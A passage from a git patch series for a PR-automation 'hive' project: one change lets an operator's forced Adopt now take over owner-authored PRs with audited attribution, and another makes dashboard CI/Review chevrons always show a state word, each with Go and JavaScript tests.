' + (item.head || 'unknown') + ' Β· ' + source + ' Β· ' + freshness + since; + // The backend's plain-language sentence behind the caption rides in + // the tooltip only; the chevron clamps the caption. + const detail = matches && a.detail ? ' Β· ' + a.detail : ''; + let tip = caption + blocker + detail + ' Β· head ' + (item.head || 'unknown') + ' Β· ' + source + ' Β· ' + freshness + since; const ownsPR = item.kind === 'pr' || item.via_pr; const code = item.code_activity; const codeNote = code && code.head === item.head && Number(item.display_column) === 50 && From 5a73e1e16facc0794e7b164a1b4fcd3d57f9b2d4 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 19:29:40 -0500 Subject: [PATCH 21/87] =?UTF-8?q?=F0=9F=90=9B=20adoption:=20operator=20Ado?= =?UTF-8?q?pt=20now=20takes=20over=20any=20PR,=20owners=20included=20(#164?= =?UTF-8?q?83)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An operator's Adopt now on a PR whose author is one of this hive's owners recorded a forced adoption the stage engine refused on every sweep as person-authored (hivecommons/hive#15202) without ever consuming it, so the row sat at "adopting… (queued)" with the action spent. The hive still never adopts a person's own PR on its own initiative, and an adoption/supersede request is still refused for one; an explicit forced Adopt now now bypasses that refusal and proceeds. The attempt record (MarkAdopted) consumes the forced mark as for any other author, so the row reads queued β†’ adopting β†’ adopted. The dashboard audit entry names the author and whether they are a hive owner. Fixes #16482 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- .../fixed-adopt-now-takes-over-any-author.md | 1 + .../api_repo_item_decision_reroute.go | 5 +- .../dashboard/api_repo_item_takeover_test.go | 27 +++++++++++ .../automerge/automerge_adopt_now_test.go | 46 +++++++++++++++++++ .../automerge/automerge_contributor_adopt.go | 19 ++++++-- 5 files changed, 92 insertions(+), 6 deletions(-) create mode 100644 changelog.d/fixed-adopt-now-takes-over-any-author.md diff --git a/changelog.d/fixed-adopt-now-takes-over-any-author.md b/changelog.d/fixed-adopt-now-takes-over-any-author.md new file mode 100644 index 0000000000..23b629de55 --- /dev/null +++ b/changelog.d/fixed-adopt-now-takes-over-any-author.md @@ -0,0 +1 @@ +- An operator's Adopt now takes over any PR, a hive owner's or maintainer's included: the stage engine honours the forced adoption instead of refusing it as person-authored on every sweep, which left the row at "adopting… (queued)" forever. The hive still never adopts a person's own PR on its own initiative; the audit names the author taken over from. diff --git a/src/pkg/dashboard/api_repo_item_decision_reroute.go b/src/pkg/dashboard/api_repo_item_decision_reroute.go index 8ad7bf7523..8d17a41a2f 100644 --- a/src/pkg/dashboard/api_repo_item_decision_reroute.go +++ b/src/pkg/dashboard/api_repo_item_decision_reroute.go @@ -117,7 +117,10 @@ func (s *Server) handleRepoItemAdoptNow(ctx context.Context, w http.ResponseWrit jsonError(w, "queuing forced adoption: "+err.Error(), http.StatusBadGateway) return } - s.audit.LogRecord(user, auditRepoItemDecisionAdoptNow, auditDetail("repo", repoFull, "number", strconv.Itoa(number), "type", "pr", "action", repoItemDecisionAdoptNowAction, "label", delegatedecision.LabelAdoptSupersede), "", repoFull, number) + // The audit names whose PR was taken over: an operator may force the + // adoption of anyone's PR, a hive owner's included, and that choice + // stays attributable. + s.audit.LogRecord(user, auditRepoItemDecisionAdoptNow, auditDetail("repo", repoFull, "number", strconv.Itoa(number), "type", "pr", "action", repoItemDecisionAdoptNowAction, "label", delegatedecision.LabelAdoptSupersede, "author", facts.Author, "author_owner", strconv.FormatBool(s.isAuthorizedUserLogin(facts.Author))), "", repoFull, number) superseding := s.nudgeSweepAndAwaitAdoption(ctx, store, key, repoFull, number) jsonResponse(w, repoItemAdoptNowResponse(repoFull, number, superseding)) } diff --git a/src/pkg/dashboard/api_repo_item_takeover_test.go b/src/pkg/dashboard/api_repo_item_takeover_test.go index 088ef448c9..614a11ca78 100644 --- a/src/pkg/dashboard/api_repo_item_takeover_test.go +++ b/src/pkg/dashboard/api_repo_item_takeover_test.go @@ -130,6 +130,33 @@ func TestRepoItemAdoptNowGuards(t *testing.T) { } } +// An operator may take over anyone's PR, a hive owner's included: Adopt now +// on an owner-authored PR records the forced mark and the audit names the +// author as an owner. +func TestRepoItemAdoptNowOnOwnerAuthoredPR(t *testing.T) { + srv, store := takeoverServer(t, &repoItemDecisionMock{prForeign: true}) + srv.deps.Config.Dashboard.AuthorizedUsers = []string{"someone:owner"} + w := postRepoItemDecision(t, srv, 8, "writer", `{"decision":"adopt","force":true,"type":"pr"}`) + if w.Code != http.StatusOK { + t.Fatalf("owner-authored: code=%d body=%s", w.Code, w.Body.String()) + } + if rec, _ := store.Get(stagelabels.Key("testorg/testrepo", 8)); !recForced(rec) { + t.Fatalf("forced mark not recorded for an owner's PR: %+v", rec) + } + found := false + for _, e := range srv.GetAudit().Recent(20) { + if e.Action == auditRepoItemDecisionAdoptNow { + found = true + if !strings.Contains(e.Detail, "author=someone") || !strings.Contains(e.Detail, "author_owner=true") { + t.Fatalf("audit detail %q lacks the owner attribution", e.Detail) + } + } + } + if !found { + t.Fatalf("audit = %v", decisionAuditActions(srv)) + } +} + func TestRepoItemRerouteNoneOnlineIsConflict(t *testing.T) { srv, _ := takeoverServer(t, &repoItemDecisionMock{prForeign: true}) w := postRepoItemDecision(t, srv, 8, "writer", `{"decision":"reroute","to":"any","type":"pr"}`) diff --git a/src/pkg/github/automerge/automerge_adopt_now_test.go b/src/pkg/github/automerge/automerge_adopt_now_test.go index b59dba64b4..c99e676b92 100644 --- a/src/pkg/github/automerge/automerge_adopt_now_test.go +++ b/src/pkg/github/automerge/automerge_adopt_now_test.go @@ -113,3 +113,49 @@ func TestAdoptNowOfflineWordingAndHoldStops(t *testing.T) { t.Fatalf("offline wording: %s", comments[0]) } } + +// An operator may take over anyone's PR, a hive owner's included: the +// person-authored rule (hivecommons/hive#15202) holds for the hive's own +// initiative and for an adoption/supersede request, but an explicit Adopt +// now adopts, consumes the forced mark and leaves no "queued" behind. +func TestAdoptNowTakesOverOwnerAuthoredPR(t *testing.T) { + policy := adoptPolicy() + policy.OwnerAuthor = func(login string) bool { return login == "mallory" } + h, done := newAdoptHarness(t, ContributorNudgeOutcome{Mode: "comment"}, policy) + defer done() + h.sink.presence = &ContributorPresence{Registered: true, Online: false} + h.observe(adoptPR(7, "aaa"), "check-failing:unit") + key := stageKey("acme", "widget", 7) + store := h.e.stageStoreOrShared() + labels := []string{"stage/072-returned-to-contributor", "role/contributor", "author/clanker"} + + // Control: the request label alone is refused for an owner's PR. + h.api.reset() + h.clock.advance(time.Minute) + h.observe(adoptPR(7, "aaa", append(labels, "adoption/supersede")...), "check-failing:unit") + if len(h.adopt.pulls) != 0 { + t.Fatalf("request adopted an owner's PR: pulls=%v", h.adopt.pulls) + } + if rec, _ := store.Get(key); rec.AdoptionBlocked("aaa") != "author-is-person" { + t.Fatalf("refusal not recorded: %+v", rec) + } + + store.NoteAdoptionForced(key, "clubanderson", h.clock.now()) + h.api.reset() + h.clock.advance(time.Minute) + h.observe(adoptPR(7, "aaa", append(labels, "adoption/supersede")...), "check-failing:unit") + if len(h.adopt.pulls) != 1 { + t.Fatalf("Adopt now did not supersede an owner's PR: pulls=%v added=%v", h.adopt.pulls, h.api.added) + } + comments := adoptionComments(h.api) + if len(comments) != 1 || !strings.Contains(comments[0], "by=@clubanderson reason=operator-forced") { + t.Fatalf("adoption comments = %v", h.api.comments) + } + rec, _ := store.Get(key) + if rec.AdoptedHead != "aaa" || rec.AdoptedBy != 90 || rec.AdoptReason != AdoptReasonOperatorForced { + t.Fatalf("record after Adopt now: %+v", rec) + } + if _, forced := rec.AdoptionForced(); forced || rec.AdoptionBlocked("aaa") != "" { + t.Fatalf("forced mark or person block survived the adoption: %+v", rec) + } +} diff --git a/src/pkg/github/automerge/automerge_contributor_adopt.go b/src/pkg/github/automerge/automerge_contributor_adopt.go index b508953c34..f9d81604d6 100644 --- a/src/pkg/github/automerge/automerge_contributor_adopt.go +++ b/src/pkg/github/automerge/automerge_contributor_adopt.go @@ -644,16 +644,23 @@ func (c *Engine) adoptContributorPR(ctx context.Context, store *stagelabels.Stor c.info("stage labels: adoption due but blocked by label", "repo", obs.Display, "pr", obs.Number, "label", l) return 0, nil } - if personAuthored(obs, policy) { + person := personAuthored(obs, policy) + if person && !forced { // A person's own PR (hivecommons/hive#15202): no contributor hive - // can be offline for it, and neither an operator request nor a - // forced adoption changes who should fix it. Recorded so the - // tracker row says why. + // can be offline for it, and an operator's adoption request does + // not change who should fix it. Recorded so the tracker row says + // why. Only an explicit Adopt now (forced) takes it over. store.NoteAdoptionBlocked(key, obs.HeadSHA, stagelabels.AdoptBlockedAuthorPerson, now) c.info("stage labels: adoption refused, a person pushed this PR themselves; asking the author instead", "repo", obs.Display, "pr", obs.Number, "author", obs.Author, "head", obs.HeadSHA, "author_kind", obs.AuthorKind.String(), "reason", reason, "requested", requested, "forced", forced) return 0, nil } if forced { + if person { + // An operator may take over anyone's PR, owners and + // maintainers included: the click is the decision, logged + // with the actor so the takeover stays attributable. + c.info("stage labels: operator-forced adoption over a person-authored PR", "repo", obs.Display, "pr", obs.Number, "author", obs.Author, "author_kind", obs.AuthorKind.String(), "head", obs.HeadSHA, "by", forcedBy) + } c.info("stage labels: operator forced adoption; maintainer policy, admission and presence bypassed", "repo", obs.Display, "pr", obs.Number, "author", obs.Author, "by", forcedBy, "online", presence.Online, "policy", policy.maintainerPolicy()) } else if c.adoptionRefusedByAdmission(ctx, store, key, obs, requested, now) { return 0, nil @@ -1559,7 +1566,9 @@ func (c *Engine) authorMaintainsRepo(ctx context.Context, obs stageObservation, // personAuthored: the PR was pushed by a person β€” author/human, or one of // this hive's owners β€” rather than by a clanker or a registered contributor -// relay. Such a PR is never adopted (hivecommons/hive#15202). +// relay. Such a PR is never adopted on the hive's own initiative +// (hivecommons/hive#15202); only an operator's explicit Adopt now takes it +// over. func personAuthored(obs stageObservation, policy StageLabelPolicy) bool { if obs.AuthorKind == authorkind.Human { return true From 771862c4ef4dc6f8be85bea67a9ca693e9856344 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 19:40:24 -0500 Subject: [PATCH 22/87] =?UTF-8?q?=F0=9F=90=9B=20dashboard:=20CI/Review=20c?= =?UTF-8?q?hevrons=20always=20carry=20a=20state=20word=20and=20name=20the?= =?UTF-8?q?=20track=20the=20hive=20waits=20on=20(#16488)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A column-50 track whose evidence was unknown, stale (observed_at older than 2 min, which server caches routinely are) or for another head rendered as a bare glyph. Both tracks share the row's current-phase tint, so an operator saw two amber chevrons with no words and no way to tell which one was live. stageTrackerActivityTrackHtml now always renders glyph + caption; stale evidence says how old it is, missing evidence says 'no evidence for <sha>'. Freshness still gates the pulse and the green fill. A new pure stageTrackerTrackLead picks the track the hive waits on when both share the phase (review findings / red CI β†’ the fix; otherwise CI until green, then review) and the chevron text carries 'Β· new head <sha>' on the leading CI track or 'Β· waiting on CI|review|the fix' on the other; the tooltip repeats it as a sentence. Fixes #16484 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- .../fixed-16484-tracker-chevron-state-word.md | 1 + .../dashboard/stage_tracker_activity.test.js | 64 +++++++++++++++++-- .../static-src/js/tracker-row-strip.js | 52 +++++++++++++-- src/pkg/dashboard/static/index.html | 52 +++++++++++++-- 4 files changed, 152 insertions(+), 17 deletions(-) create mode 100644 changelog.d/fixed-16484-tracker-chevron-state-word.md diff --git a/changelog.d/fixed-16484-tracker-chevron-state-word.md b/changelog.d/fixed-16484-tracker-chevron-state-word.md new file mode 100644 index 0000000000..815c0a5480 --- /dev/null +++ b/changelog.d/fixed-16484-tracker-chevron-state-word.md @@ -0,0 +1 @@ +- The Activity Monitor's CI and Review chevrons always carry a state word beside their glyph β€” unknown or stale evidence now reads "CI waiting Β· test not observed Β· seen 14m ago" instead of a bare icon β€” and when both tracks share the current phase the text says which one the hive is waiting on ("Β· new head d3c0824", "Β· waiting on CI", "Β· waiting on the fix") ([#16484](https://github.com/hivecommons/hive/issues/16484)). diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index 3c54e831bf..5bccfa73e9 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -22,7 +22,7 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const header = new Function('esc', 'stageTrackerIcon', globals + fn(strip, 'stageTrackerHeaderHtml') + ';return stageTrackerHeaderHtml;')(esc, () => ''); const now = Date.parse('2026-11-02T21:00:00Z'); @@ -178,7 +178,8 @@ test('12:01 screenshot density preserves physical tracks for issue-only, one-to- } for (const cell of cells.filter(cell => /data-display-state="unknown"/.test(cell))) { const content = cell.match(/aria-describedby="[^"]+">([^]*?)<span id=/)[1]; - assert.equal(content.replace(/<[^>]*>/g, '').trim(), '', 'missing evidence remains icon-only at screenshot density'); + assert.match(content, /<svg /, 'missing evidence keeps the track glyph'); + assert.match(content.replace(/<[^>]*>/g, '').trim(), /unknown/, 'missing evidence still says so in words (#16484)'); } } } @@ -560,7 +561,7 @@ test('current-phase styling is steady and undimmed, including compact/reduced-mo assert.doesNotMatch(css, /\.ham-track-position/); }); -test('unknown tracks show only the canonical column glyph, preserving full focus/hover details and safe evidence links', () => { +test('unknown tracks wear the canonical column glyph beside their caption, preserving full focus/hover details and safe evidence links', () => { for (const kind of ['ci', 'review']) { const item = livePR({ number: 16434, repo: 'hivecommons/hive', @@ -569,7 +570,7 @@ test('unknown tracks show only the canonical column glyph, preserving full focus const rendered = track(item, kind, { state: 'active' }, false, now); const content = rendered.match(/aria-describedby="[^"]+">([^]*?)<span id="[^"]+" class="config-tooltip/)[1]; assert.match(content, kind === 'ci' ? /<svg [^]*data-icon="ci"/ : /<svg [^]*data-icon="50"/, 'CI and Review wear distinct glyphs'); - assert.equal(content.replace(/<[^>]*>/g, '').trim(), '', 'no CI/Review/unknown/reason/question-mark panel text'); + assert.ok(content.replace(/<[^>]*>/g, '').includes((kind === 'ci' ? 'CI' : 'Review') + ' unknown Β· full precise reason'), 'the caption rides beside the glyph, never a bare icon (#16484)'); assert.match(content, /aria-label="Open current-head/); assert.match(rendered, /class="ham-chevron-info config-info" tabindex="0"/); assert.match(rendered, /role="tooltip">[^]*full precise reason[^]*head head/); @@ -642,7 +643,7 @@ test('stale activity is visibly unknown and old green observations cannot look l assert.match(html, /activity unknown Β· last observed reviewing/); assert.doesNotMatch(html, /data-motion/); assert.match(html, /data-display-state="unknown"/); - assert.doesNotMatch(html, /ham-chevron-copy/); + assert.match(html, /ham-chevron-copy ham-track-state"><svg [^>]*>(<\/svg>)?Review working Β· reviewer Β· seen 5m ago/, 'stale evidence keeps its words and says how old it is'); item.review_activity = activity('approved', 'Review approved'); assert.doesNotMatch(track(item, 'review', {}, false, now + 300000), /ham-activity-track done/); }); @@ -695,3 +696,56 @@ test('the backend detail sentence rides in the track tooltip, not on the chevron assert.match(html, /role="tooltip">[^]*hasn't reported for this head yet Β· Branch protection requires a check named "test"/); assert.match(html, /title="[^"]*Branch protection requires a check named "test", but no check run/); }); + +test('#16484: a PR-row track never renders as a bare glyph in any of the four operator shapes', () => { + const stale = (state, caption, extra = {}) => ({ head: 'head', state, caption, source: 'cache', observed_at: new Date(now - 14 * 60000).toISOString(), ...extra }); + const shapes = { + 'new head, review findings': { stage: 70, display_column: 50, push: { state: 'pushed', sha: 'head', next: 're-review' }, code_activity: { head: 'head', state: 'pushed', caption: 'New head pushed Β· CI and re-review', source: 'recorded-push' }, ci_activity: stale('missing', 'CI waiting Β· test not observed'), review_activity: stale('changes_requested', 'Review findings Β· awaiting author') }, + 'red CI, review findings': { stage: 70, display_column: 50, ci_activity: { ...stale('failing', 'CI failing Β· test (26)'), observed_at: new Date(now).toISOString() }, review_activity: stale('changes_requested', 'Review findings Β· awaiting author Β· adjudicator') }, + 'both unknown': { stage: 50, display_column: 50, ci_activity: { head: 'head', state: 'unknown', caption: 'CI unknown Β· required checks not observed', source: 'unavailable' }, review_activity: { head: 'head', state: 'unknown', caption: 'Review unknown Β· current-head evidence unavailable', source: 'unavailable' } }, + 'held, stale approval': { stage: 70, display_column: 50, modifiers: ['hold'], hold: { by: 'hanthor', pill: 'Held by @hanthor' }, code_activity: { head: 'head', state: 'waiting_fixer', caption: 'Waiting for fixer Β· no code work observed', source: 'native-fix-request' }, ci_activity: stale('missing', 'CI waiting Β· test not observed'), review_activity: stale('approved', 'Review approved') }, + 'no evidence at all': { stage: 50, display_column: 50 }, + }; + for (const [name, fields] of Object.entries(shapes)) { + const cells = physicalTracks(livePR(fields)); + for (const [kind, cell] of [['ci', cells.ci], ['review', cells.review]]) { + const content = cell.match(/aria-describedby="[^"]+">([^]*?)<span id=/)[1]; + const words = content.replace(/<[^>]*>/g, '').trim(); + assert.match(content, /<svg /, name + ' ' + kind + ' keeps its glyph'); + assert.ok(words.length > 0 && /CI|Review/.test(words), name + ' ' + kind + ' carries a state word: ' + JSON.stringify(words)); + assert.match(cell, /ham-current/, name + ' ' + kind + ' stays in the current phase'); + } + } + const noEvidence = physicalTracks(livePR(shapes['no evidence at all'])); + assert.match(noEvidence.ci.replace(/<[^>]*>/g, ''), /CI unknown Β· no evidence for head/); +}); + +test('#16484: when CI and Review share the phase the chevrons say which one the hive waits on', () => { + const fresh = (state, caption, extra = {}) => ({ head: 'd3c0824304d4c97b8ee76a267fb1e91f6d4c79a4', state, caption, source: 'cache', observed_at: new Date(now).toISOString(), ...extra }); + const head = 'd3c0824304d4c97b8ee76a267fb1e91f6d4c79a4'; + const text = cell => cell.match(/aria-describedby="[^"]+">([^]*?)<span id=/)[1].replace(/<[^>]*>/g, ''); + // New head pushed, CI not yet reporting, review pending: CI leads on the new head, review waits on CI. + let cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, push: { state: 'pushed', sha: head, next: 're-review' }, code_activity: { head, state: 'pushed', caption: 'New head pushed Β· CI and re-review', source: 'recorded-push' }, ci_activity: fresh('missing', 'CI waiting Β· test not observed'), review_activity: fresh('pending', 'Review pending Β· reviewer-2 queued') })); + assert.equal(text(cells.ci), 'CI waiting Β· test not observed Β· new head d3c0824'); + assert.equal(text(cells.review), 'Review pending Β· reviewer-2 queued Β· waiting on CI'); + assert.match(cells.review, /hive is waiting on CI for new head d3c0824/); + // Review findings: the fixer's turn; CI is not the blocker and says so. + cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, ci_activity: fresh('missing', 'CI waiting Β· test not observed'), review_activity: fresh('changes_requested', 'Review findings Β· awaiting author') })); + assert.equal(text(cells.ci), 'CI waiting Β· test not observed Β· waiting on the fix'); + assert.equal(text(cells.review), 'Review findings Β· awaiting author'); + // Red CI plus review findings: both are findings, neither defers to the other. + cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, ci_activity: fresh('failing', 'CI failing Β· test (26)'), review_activity: fresh('changes_requested', 'Review findings Β· awaiting author') })); + assert.equal(text(cells.ci), 'CI failing Β· test (26)'); + assert.equal(text(cells.review), 'Review findings Β· awaiting author'); + // CI green, review pending: review leads, CI is done and says nothing extra. + cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, ci_activity: fresh('passing', 'CI passed'), review_activity: fresh('pending', 'Review pending') })); + assert.equal(text(cells.ci), 'CI passed'); + assert.equal(text(cells.review), 'Review pending'); + // Both unknown (fresh PR): CI leads, review waits on CI. + cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, ci_activity: { head, state: 'unknown', caption: 'CI unknown Β· required checks not observed', source: 'unavailable' }, review_activity: { head, state: 'unknown', caption: 'Review unknown Β· current-head evidence unavailable', source: 'unavailable' } })); + assert.equal(text(cells.ci), 'CI unknown Β· required checks not observed'); + assert.equal(text(cells.review), 'Review unknown Β· current-head evidence unavailable Β· waiting on CI'); + // Outside the current phase (merge gate) the lead clause is silent. + cells = physicalTracks(livePR({ head, stage: 80, display_column: 80, ci_activity: fresh('passing', 'CI passed'), review_activity: fresh('pending', 'Review pending') })); + assert.doesNotMatch(cells.review, /waiting on/); +}); diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index f5793609ff..4bf1458a1b 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -15,8 +15,33 @@ return `<div class="ham-cols" aria-hidden="true"><div class="ham-strip-row"><ol class="ham-strip">${cols}<li class="ham-seg cap ham-history-head" title="History β€” decisions and actions on this item">${stageTrackerIcon('history', 'ham-ico ham-history-ico', 'History β€” decisions and actions on this item')}</li></ol><span class="ham-since">since</span></div></div>`; } + // Pure: which of the two column-50 tracks the hive is waiting on when + // both share the current phase (hivecommons/hive#16484). Review + // findings and red CI are the fixer's turn ("the fix"); otherwise CI + // leads until it is green, then review. newHead: the head was just + // pushed, so CI is (re)running on it and the review is a re-review. + function stageTrackerTrackLead(item) { + if (!item || !item.head) return null; + const stateOf = k => { const a = item[k + '_activity']; return a && a.head === item.head && a.state ? a.state : 'unknown'; }; + const ci = stateOf('ci'); + const review = stateOf('review'); + const done = s => s === 'passing' || s === 'approved'; + const code = item.code_activity; + const push = item.push; + const newHead = !!((code && code.head === item.head && code.state === 'pushed') || (push && push.state === 'pushed' && push.sha === item.head)); + if (review === 'changes_requested') return { track: 'review', waitingOn: 'the fix', newHead: false }; + if (ci === 'failing') return { track: 'ci', waitingOn: 'the fix', newHead: false }; + if (done(ci) && done(review)) return null; + if (done(ci)) return { track: 'review', waitingOn: 'review', newHead }; + return { track: 'ci', waitingOn: 'CI', newHead }; + } + // Evidence is supplied independently by the backend. A native 050 label // cannot say who reviews, whether checks run, or whether an author codes. + // The chevron always carries a state word beside its glyph: unknown or + // stale evidence says so in words ("Β· seen 14m ago"), it never shrinks + // to a bare icon (hivecommons/hive#16484). Freshness still gates the + // pulse and the green fill, not the text. function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs) { if (blank) return `<li class="ham-seg blank" data-track="${kind}" data-route-state="blank" aria-hidden="true"></li>`; const name = kind === 'ci' ? 'CI' : 'Review'; @@ -51,19 +76,34 @@ const codeObserved = Date.parse(code && code.observed_at || ''); const codeFresh = code && code.head === item.head && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && code.state === 'fixing' && Number.isFinite(codeObserved) && codeObserved <= clock && clock - codeObserved <= activityFreshMS; if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); - const word = esc(caption); + const sha7 = item.head ? String(item.head).slice(0, 7) : ''; + let seen = ''; + if (matches && !known && state !== 'unknown') { + if (!Number.isFinite(observed)) seen = ' Β· observation time unknown'; + else if (observed > clock) seen = ' Β· observation ahead of clock'; + else { + const m = Math.floor((clock - observed) / 60000); + const h = Math.floor(m / 60); + seen = ' Β· seen ' + (m < 1 ? 'under a minute' : m < 60 ? m + 'm' : h < 48 ? h + 'h' : Math.floor(h / 24) + 'd') + ' ago'; + } + } + let text = !matches ? name + ' unknown Β· no evidence for ' + (sha7 || 'this head') : (a.caption || name + ' ' + state) + seen; + const lead = current && ownsPR && typeof stageTrackerTrackLead === 'function' ? stageTrackerTrackLead(item) : null; + if (lead && lead.track === kind && lead.newHead && kind === 'ci' && sha7) text += ' Β· new head ' + sha7; + else if (lead && lead.track !== kind && !(state === 'passing' || state === 'approved' || state === 'failing' || state === 'changes_requested')) text += ' Β· waiting on ' + lead.waitingOn; + const word = esc(text); const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; - const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${word}</a>` : word; + const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); + const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}${word}</a>` : icon + word; const routeState = (sg.state || 'todo') + (sg.detour ? ' detoured' : ''); const hold = item.hold; const fullTip = (current ? 'Current pipeline phase Β· ' : '') + name + ': ' + tip + (matches && a.actor ? ' Β· actor ' + a.actor : '') + (codeNote || contextWord ? ' Β· ' + (codeNote || contextWord) : '') + - (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : ''); + (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : '') + + (lead ? ' Β· hive is waiting on ' + lead.waitingOn + (lead.newHead && sha7 ? ' for new head ' + sha7 : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); - const content = known ? `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>` : icon; - const linkedIcon = !known && ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}</a>` : content; + const linkedIcon = `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>`; return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${linkedIcon}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 46e302a2f5..7fd8fb7b73 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -17770,8 +17770,33 @@ <h3 class="faq-group-title">Where to get help</h3> return `<div class="ham-cols" aria-hidden="true"><div class="ham-strip-row"><ol class="ham-strip">${cols}<li class="ham-seg cap ham-history-head" title="History β€” decisions and actions on this item">${stageTrackerIcon('history', 'ham-ico ham-history-ico', 'History β€” decisions and actions on this item')}</li></ol><span class="ham-since">since</span></div></div>`; } + // Pure: which of the two column-50 tracks the hive is waiting on when + // both share the current phase (hivecommons/hive#16484). Review + // findings and red CI are the fixer's turn ("the fix"); otherwise CI + // leads until it is green, then review. newHead: the head was just + // pushed, so CI is (re)running on it and the review is a re-review. + function stageTrackerTrackLead(item) { + if (!item || !item.head) return null; + const stateOf = k => { const a = item[k + '_activity']; return a && a.head === item.head && a.state ? a.state : 'unknown'; }; + const ci = stateOf('ci'); + const review = stateOf('review'); + const done = s => s === 'passing' || s === 'approved'; + const code = item.code_activity; + const push = item.push; + const newHead = !!((code && code.head === item.head && code.state === 'pushed') || (push && push.state === 'pushed' && push.sha === item.head)); + if (review === 'changes_requested') return { track: 'review', waitingOn: 'the fix', newHead: false }; + if (ci === 'failing') return { track: 'ci', waitingOn: 'the fix', newHead: false }; + if (done(ci) && done(review)) return null; + if (done(ci)) return { track: 'review', waitingOn: 'review', newHead }; + return { track: 'ci', waitingOn: 'CI', newHead }; + } + // Evidence is supplied independently by the backend. A native 050 label // cannot say who reviews, whether checks run, or whether an author codes. + // The chevron always carries a state word beside its glyph: unknown or + // stale evidence says so in words ("Β· seen 14m ago"), it never shrinks + // to a bare icon (hivecommons/hive#16484). Freshness still gates the + // pulse and the green fill, not the text. function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs) { if (blank) return `<li class="ham-seg blank" data-track="${kind}" data-route-state="blank" aria-hidden="true"></li>`; const name = kind === 'ci' ? 'CI' : 'Review'; @@ -17806,19 +17831,34 @@ <h3 class="faq-group-title">Where to get help</h3> const codeObserved = Date.parse(code && code.observed_at || ''); const codeFresh = code && code.head === item.head && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && code.state === 'fixing' && Number.isFinite(codeObserved) && codeObserved <= clock && clock - codeObserved <= activityFreshMS; if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); - const word = esc(caption); + const sha7 = item.head ? String(item.head).slice(0, 7) : ''; + let seen = ''; + if (matches && !known && state !== 'unknown') { + if (!Number.isFinite(observed)) seen = ' Β· observation time unknown'; + else if (observed > clock) seen = ' Β· observation ahead of clock'; + else { + const m = Math.floor((clock - observed) 